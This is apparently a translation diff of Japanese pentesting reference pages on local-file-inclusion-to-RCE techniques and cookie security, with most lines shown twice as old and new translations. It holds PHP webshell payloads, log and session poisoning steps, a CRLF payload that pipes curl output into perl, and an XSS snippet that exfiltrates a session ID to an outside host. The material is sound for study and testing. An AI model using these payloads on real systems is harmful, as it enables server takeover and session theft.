> また、**write correctly the payload** を必ず行ってください。さもないと、PHP はログファイルを読み込むたびにエラーとなり、二度目のチャンスはありません。
他のログでもこれを行うことができますが、**注意してください。** ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**認証 "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
他の可能なログパス
他のログでも同様のことは可能ですが、**be careful,** ログ内のコードが URL エンコードされている場合があり、これにより Shell が無効化されることがあります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内でデコードされます。The PHPShell could be inserted inside this header.\
他の可能なログパス:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -498,39 +499,39 @@ ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インク
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### メール経由
**内部アカウントuser@localhost)にメールを送信**し、`<?php echo system($_REQUEST["cmd"]); ?>`のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のようなパスでユーザーのメールに含めてみてください
**Send a mail** を内部アカウント (user@localhost) に送り、PHP payload例: `<?php echo system($_REQUEST["cmd"]); ?>`)を含め、ユーザのメールを **`/var/mail/<USERNAME>`** や **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる
### Via /proc/\*/fd/\*
### /proc/\*/fd/\* 経由
1. 多くのシェルをアップロードします(例えば:100
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)を含めます。ここで、$PIDはプロセスのPIDブルートフォース可能で、$FDはファイルディスクリプタ(こちらもブルートフォース可能)です。
1. 多数の shells をアップロードする(例: 100
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。ここで $PID はプロセスの PIDブルートフォース可能、$FD はファイルディスクリプタ(こちらもブルートフォース可能)
### Via /proc/self/environ
### /proc/self/environ 経由
ログファイルのように、User-Agentにペイロードを送信すると、それが/proc/self/environファイル内に反映されます
ログファイルと同様に、User-Agent にペイロードを送ると /proc/self/environ ファイル内に反映される
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
ファイルをアップロードできる場合は、そこにシェルペイロードを注入してください(例: `<?php system($_GET['c']); ?>` )。
ファイルをuploadできる場合は、単にその中にshell payloadを注入してください`<?php system($_GET['c']); ?>`)。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
ファイルを読みやすく保つためには、画像/doc/pdfのメタデータに注入するのが最適です
ファイルを読みやすく保つために、画像ドキュメントPDF のメタデータに注入するのが最適です
### Zipファイルのアップロード経由
### ZIPファイルのアップロード経由
PHPシェルを圧縮したZIPファイルをアップロードし、アクセスします:
PHP shell を含む圧縮された ZIP ファイルをアップロードしてアクセス:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
### PHP sessions 経由
ウェブサイトがPHPセッションPHPSESSIDを使用しているか確認してください。
ウェブサイトが PHP Session (PHPSESSID) を使用しているか確認する
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -540,127 +541,138 @@ PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
クッキーを `<?php system('cat /etc/passwd');?>` に設定します。
cookie を `<?php system('cat /etc/passwd');?>` に設定してください
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFIを使用してPHPセッションファイルを含めます。
LFIを使ってPHPのセッションファイルを読み込む
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### 経由 ssh
sshがアクティブな場合、どのユーザーが使用されているかを確認します(/proc/self/status & /etc/passwdし、**\<HOME>/.ssh/id_rsa**にアクセスを試みます
ssh が有効なら、どのユーザーで動作しているかを確認してください(/proc/self/status & /etc/passwdし、**\<HOME>/.ssh/id_rsa** にアクセスしてみてください
### **Via** **vsftpd** _**logs**_
### **経由** **vsftpd** _**ログ**_
FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできるシナリオでは、以下の手順を考慮できます。
FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開されている vsftpd サーバにアクセスできる場合、次の手順を検討できます:
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します
2. 注入後、LFIを利用して_**/var/log/vsftpd.log**_からサーバログを取得します。
1. ログイン処理中に username フィールドへ PHP payload を注入する
2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得す
### Via php base64 filter (using base64)
### 経由 php base64 filter (using base64)
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
この記事の例([this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)に示されているように、PHP の base64 filter は非 base64 文字を無視します。これを利用してファイル拡張子のチェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付け足します。以下は例の payload です:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
### php filters を利用(ファイル不要)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**php filters を使って任意のコンテンツを出力として生成できる** と説明しています。つまり、include に対して **ファイルに書き込む必要なく任意の php コードを生成できる** ということです。
この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく**、インクルード用の**任意のphpコードを生成できる**ということです。
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### セグメンテーションフォルトを利用
**Upload** したファイルは `/tmp`**temporary** として保存されます。次に同じリクエスト内で **segmentation fault** を発生させると、**temporary file won't be deleted** ため、そのファイルを探すことができます。
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエスト内で**、**セグメンテーションフォルト**を引き起こすと、**一時ファイルが削除されず**、それを検索できます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Nginx の一時ファイルストレージを利用
もし **Local File Inclusion** を見つけ、かつ **Nginx** が PHP の前段にある場合、以下の手法で RCE を得られる可能性があります:
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
### PHP_SESSION_UPLOAD_PROGRESS を利用
もし **Local File Inclusion** を見つけていて、たとえ **don't have a session**`session.auto_start``Off` でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が **セッションを有効にしてくれます**。これを悪用して RCE を得ることができます:
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start``Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Windows の一時ファイルアップロードを利用
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作している場合、RCE を得られる可能性があります:
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### `pearcmd.php` + URL 引数を利用
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があることが示されています
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト `/usr/local/lib/phppearcmd.php` は php docker イメージにデフォルトで存在します。さらに、URL 経由でスクリプトに引数を渡せます。URL パラメータに `=` が含まれない場合は引数として扱われるためです。詳細は [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) と [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) も参照してください
次のリクエストは、`/tmp/hello.php``<?=phpinfo()?>`という内容のファイルを作成します:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
CRLF脆弱性を悪用してRCEを取得します[**こちら**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)から):
以下は CRLF vuln を悪用して RCE を得る例です(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo()を介して (file_uploads = on)
### phpinfo() 経由 (file_uploads = on)
もし **Local File Inclusion** を発見し、file_uploads = on で **phpinfo()** を公開しているファイルがあれば、RCE を取得できます:
**Local File Inclusion**を見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがあれば、RCEを取得できます
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure 経由
もし **Local File Inclusion** を発見し、一時ファイルのパスを **can exfiltrate the path** できるが、**server** が **checking** して含めるファイルに **PHP marks** があるか確認している場合は、この **Race Condition** を使ってそのチェックを **bypass that check** できるか試してみてください:
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかどうかを**チェックしている場合、**この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### 永遠の待機 + ブルートフォースを介して
### eternal waiting + bruteforce 経由
もし LFI を悪用して **upload temporary files** し、サーバーによって PHP 実行を **hang** させられるなら、何時間もかけてファイル名を **brute force filenames during hours** して一時ファイルを見つけられる可能性があります:
LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができれば、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### 致命的エラーに至る
### To Fatal Error
`/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`のいずれかのファイルを含めると、致命的エラーが発生します。そのエラーを引き起こすには、同じファイルを2回含める必要があります
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
**これがどのように役立つのかはわかりませんが、役立つかもしれません。**\
_PHPの致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_
**正直どのように役立つかはわかりませんが、役に立つかもしれません。**\
_たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 参考文献
## 参考
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Cookie Attributes
## クッキーの属性
Cookiesにはユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性について、より受動的な声で説明します。
Cookies にはユーザーのブラウザでの動作を制御するいくつかの属性が付与されます。以下はこれらの属性を受動的な文体で整理した説明です。
### Expires and Max-Age
Cookieの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はCookieが削除されるまでの時間秒単位を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
クッキーの有効期限は `Expires` 属性で決定されます。逆に、`Max-age` 属性はクッキーが削除されるまでの秒数を定義します。**現代的な慣習を反映するために `Max-age` を選択することが推奨されます。**
### Domain
Cookieを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはCookieを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのCookie共有が必要なシナリオで、`Domain`属性の指定が制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでCookieにアクセスできます。
クッキーを受け取るホストは `Domain` 属性で指定されます。デフォルトでは、これはクッキーを発行したホスト(そのサブドメインは含まない)に設定されます。しかし、`Domain` 属性が明示的に設定されると、そのサブドメインも含むようになります。サブドメイン間でクッキーを共有する必要がある場合、この `Domain` 属性の指定は制限が緩く便利です。例えば `Domain=mozilla.org` と設定すると、`developer.mozilla.org` のようなサブドメインでもクッキーが利用可能になります。
### Path
`Cookie`ヘッダーが送信されるために要求されたURLに存在しなければならない特定のURLパスは、`Path`属性によって示されます。この属性は`/`文字をディレクトリセパレーターとして考慮し、サブディレクトリ内での一致も可能にします。
`Path` 属性は、要求された URL にそのパスが含まれている場合に `Cookie` ヘッダが送られるために必要な特定の URL パスを示します。この属性は `/` 文字をディレクトリ区切り文字として扱い、サブディレクトリでの一致も許可します。
### Ordering Rules
同じ名前のCookieが2つある場合、送信されるCookieは以下に基づいて選択されます
同じ名前のクッキーが2つある場合、送信されるクッキーは次のルールに基づいて決定されます:
- 要求されたURL内で最も長いパスに一致するCookie
- パスが同じ場合は、最も最近設定されたCookie
- 要求された URL の中で最も長い path にマッチするクッキーが選ばれる
- パスが同一の場合は、より最近に設定されたクッキーが選ばれる
### SameSite
- `SameSite`属性は、Cookieがサードパーティのドメインからのリクエストで送信されるかどうかを決定します。3つの設定があります
- **Strict**: サードパーティのリクエストでCookieが送信されるのを制限します。
- **Lax**: サードパーティのウェブサイトによって開始されたGETリクエストでCookieが送信されることを許可します。
- **None**: どのサードパーティのドメインからでもCookieが送信されることを許可します。
- `SameSite` 属性は、サードパーティドメインから発生するリクエストでクッキーが送信されるかどうかを決定します。設定は3つあります:
- **Strict**: サードパーティのリクエストでクッキーが送信されるのを制限します。
- **Lax**: サードパーティのウェブサイトから開始された GET リクエストでクッキーの送信を許可します。
- **None**: どのサードパーティドメインからの送信も許可します。
Cookieを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
クッキーを設定する際、これらの属性を理解しておくことで、異なるシナリオで期待どおりに動作するようにできます。
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
@ -45,75 +45,84 @@ Cookieを設定する際には、これらの属性を理解することで、
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
_**SameSite**_属性を持つCookieは、**CSRF攻撃を軽減**します。
_**SameSite**_ 属性が付与されたクッキーは、ログインセッションが必要な場合の **CSRF** 攻撃を**緩和**します。
**\*Chrome802019年2月から、CookieにSameSite属性がない場合のデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、Chromeでは**SameSiteポリシーのないCookieは最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
**\*注意: Chrome80 (feb/2019) 以降、SameSite 属性を持たないクッキーのデフォルト動作は** **lax** に変更されました** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更適用後の一時的な挙動として、Chrome では **SameSite ポリシーを持たないクッキー****最初の2分間は None と扱われ、その後トップレベルのクロスサイト POST リクエストでは Lax として扱われる** 点に注意してください。
## Cookies Flags
### HttpOnly
これにより、**クライアント**がCookieにアクセスするのを防ぎます例えば、**Javascript**経由で:`document.cookie`)。
これはクライアントがクッキーにアクセスするのを防ぎます(例えば `document.cookie` を介した Javascript からのアクセスなど)。
#### **Bypasses**
- ページがリクエストのレスポンスとしてCookieを**送信している**場合(例えば、**PHPinfo**ページで、XSSを悪用してこのページにリクエストを送り、レスポンスから**Cookieを盗む**ことが可能です(例は[こちら](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
- **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたCookieを反映します。この技術は**Cross-Site Tracking**と呼ばれます。
- この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
- 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
- Cookie Jarオーバーフロー攻撃を実行することで、**HttpOnly Cookieを上書きする**ことが可能です:
- ページがリクエストのレスポンスとしてクッキーを送信している場合(例えば **PHPinfo** ページなど、XSS を悪用してそのページにリクエストを送り、レスポンスからクッキーを**盗む**ことが可能です(例は [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/) を参照)。
- `TRACE` **HTTP** リクエストを使用すると、サーバのレスポンスが送信されたクッキーを反映するため、この手法で回避できる可能性があります。この手法は **Cross-Site Tracking** と呼ばれます。
- ただし、現代のブラウザは JS から `TRACE` の送信を許可しないことでこの手法を防いでいます。とはいえ、IE6.0 SP2 のような特定ソフトウェア向けに `TRACE` の代わりに `\r\nTRACE` を送る等のバイパスが発見された例もあります。
- ブラウザの zero/day 脆弱性を悪用する別の方法もあります。
- Cookie Jar overflow アタックを行うことで HttpOnly クッキーを上書きすることが可能です:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- これらのCookieを外部に持ち出すために[**Cookie Smuggling**](#cookie-smuggling)攻撃を使用することが可能です。
- これらのクッキーを漏えいさせるために [**Cookie Smuggling**](#cookie-smuggling) 攻撃を使用することも可能です
- サーバ側のどこかのエンドポイントが HTTP レスポンス内(例えば HTML コメントやデバッグブロック内)で生のセッション ID をエコーしている場合、XSS gadget を使ってそのエンドポイントを取得し、正規表現で秘密情報を抜き取り、exfiltrate することで HttpOnly を回避できます。例となる XSS ペイロードのパターン:
```js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
```
### Secure
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでCookieを**送信します**。
リクエストは、通信がセキュアなチャネル(通常は **HTTPS**で送信される場合にのみ、HTTP リクエストに cookie を送信します
## Cookies Prefixes
`__Secure-`で始まるCookieは、HTTPSで保護されたページから`secure`フラグとともに設定される必要があります。
HTTPSで保護されたページからは、`__Secure-` プレフィックス付きの cookie は `secure` フラグとともに設定する必要があります。
`__Host-`で始まるCookieには、いくつかの条件が満たされなければなりません
For cookies prefixed with `__Host-`, several conditions must be met:
- `secure`フラグで設定されなければなりません
- HTTPSで保護されたページから発信されなければなりません
- ドメインを指定することは禁じられており、サブドメインへの送信を防ぎます。
- これらのCookieのパスは`/`に設定されなければなりません
- `secure` フラグで設定されている必要があります
- HTTPSで保護されたページから発行されている必要があります
- domain を指定してはならず、サブドメインへの送信を防ぎます。
- これらの cookie の path は `/` に設定されている必要があります
`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションCookieを隔離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。
`__Host-` プレフィックス付きの cookie はスーパードメインやサブドメインへ送信されることを許可されていない点に注意してください。この制限はアプリケーション cookie の分離に役立ちます。したがって、アプリケーションのすべての cookie に `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させる良いプラクティスと考えられます。
### Overwriting cookies
したがって、`__Host-`で始まるCookieの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから\_\_HOST-で始まるCookieを設定することが可能であることが示されています。たとえば、最初や最後に`=`を追加することなどです:
つまり、`__Host-` プレフィックス付き cookie の保護の一つは、サブドメインからの上書きを防ぐことです。たとえば [**Cookie Tossing attacks**](cookie-tossing.md) を防ぎます。トーク [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) では、パーサを騙すことで、サブドメインから \_\_HOST- プレフィックス付き cookie を設定できることが示されています。例えば先頭や先頭と末尾に "=" を追加するなど:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
また、PHPでは、Cookie名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` Cookieを上書きすることが可能でした:
また PHP では、cookie 名の先頭に**別の文字を追加**すると、それがアンダースコアに**置き換えられる**ため、`__HOST-` cookie を上書きできることがありました:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
カスタムCookieに機密データが含まれている場合は、特にCTFを行っている場合は、それを確認してください。脆弱性があるかもしれません
カスタム cookie に機密データが含まれている場合は、脆弱である可能性があるため確認してください(特に CTF をプレイしている場合)
### Decoding and Manipulating Cookies
Cookieに埋め込まれた機密データは常に精査されるべきです。Base64や類似の形式でエンコードされたCookieは、しばしばデコード可能です。この脆弱性により、攻撃者はCookieの内容を変更し、他のユーザーを偽装するために修正されたデータを再度Cookieにエンコードすることができます。
cookie に埋め込まれた機密データは常に精査するべきです。Base64 などでエンコードされた cookie はしばしばデコード可能です。この脆弱性により、攻撃者は cookie の内容を変更し、変更したデータを再エンコードして cookie に戻すことで他のユーザに成りすますことができます。
### Session Hijacking
この攻撃は、ユーザーのCookieを盗んで、アプリケーション内のそのアカウントに不正にアクセスすることを含みます。盗まれたCookieを使用することで、攻撃者は正当なユーザーを偽装できます。
この攻撃はユーザの cookie を窃取し、アプリケーション内のそのアカウントへ不正アクセスするものです。窃取した cookie を使うことで、攻撃者は正規のユーザを偽装できます。
### Session Fixation
このシナリオでは、攻撃者が被害者を特定のCookieを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいCookieを割り当てない場合、攻撃者は元のCookieを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したCookieでログインすることに依存しています。
このシナリオでは、攻撃者が被害者を騙して特定の cookie を使ってログインさせます。もしアプリケーションがログイン時に新しい cookie を発行しない場合、攻撃者は元の cookie を持ったまま被害者になりすますことができます。この手法は、被害者が攻撃者が用意した cookie でログインすることを前提としています。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次を読んでください:
{{#ref}}
cookie-tossing.md
@ -121,9 +130,10 @@ cookie-tossing.md
### Session Donation
ここでは、攻撃者が被害者に攻撃者のセッションCookieを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
ここでは、攻撃者が被害者に攻撃者のセッション cookie を使わせます。被害者は自分のアカウントにログインしていると信じて、誤って攻撃者のアカウントの文脈で操作を行ってしまいます。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次を読んでください:
{{#ref}}
cookie-tossing.md
@ -131,23 +141,23 @@ cookie-tossing.md
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。
Click on the previous link to access a page explaining possible flaws in JWT.
Cookieで使用されるJSON Web Tokens (JWT)も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTをハッキングするためのリンクされた文書にアクセスすることをお勧めします
cookie に使われる JSON Web Tokens (JWT) も脆弱性を含む可能性があります。潜在的な欠陥やそれを悪用する方法の詳細については、前述の hacking JWT ドキュメントを参照してください
### Cross-Site Request Forgery (CSRF)
この攻撃は、ログイン中のユーザーに対して、現在認証されているWebアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるCookieを悪用できます。
この攻撃は、ログイン中のユーザに対して、そのユーザが現在認証されている web アプリケーション上で望まない操作を実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストで自動的に送信される cookie を悪用できます。
### Empty Cookies
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してくださいブラウザは名前のないCookieの作成を許可しており、次のようにJavaScriptで示すことができます:
(詳細は[original research](https://blog.ankursundara.com/cookie-bugs/)を参照) ブラウザは名前なしの cookie の作成を許可しており、これは以下のような JavaScript で示せます:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
送信されたクッキー ヘッダーの結果は `a=v1; test value; b=v2;` です。興味深いことに、これは空の名前のクッキーが設定されている場合にクッキーを操作することを可能にし、空のクッキーを特定の値に設定することで他のクッキーを制御できる可能性があります:
送信される cookie ヘッダーの結果は `a=v1; test value; b=v2;` です。興味深いことに、空の名前の cookie を設定すると cookie の操作が可能になり、空の cookie を特定の値に設定することで他の cookie を制御できる可能性があります:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
@ -155,49 +165,49 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
これにより、ブラウザはすべてのウェブサーバーによって `a` という名前のクッキーと `b` という値を持つクッキーとして解釈されるクッキー ヘッダーを送信します。
これにより、ブラウザは cookie ヘッダを送信し、すべてのウェブサーバーはそれを名前が `a`、値が `b` の cookie として解釈します。
#### Chrome バグ: Unicode サロゲート コードポイントの問題
#### Chrome Bug: Unicode サロゲートコードポイントの問題
Chrome では、Unicode サロゲート コードポイントがセットされたクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
Chromeでは、Unicode サロゲートコードポイントが set cookie の一部になっていると、`document.cookie` が破損し、その後空の文字列を返すようになります:
```js
document.cookie = "\ud800=meep"
```
これにより`document.cookie`が空の文字列を出力し、永続的な破損を示します。
これにより `document.cookie` は空文字列を出力し、恒久的な破損を示します。
#### 解析の問題によるクッキーのスムグリング
#### 解析の問題による Cookie Smuggling
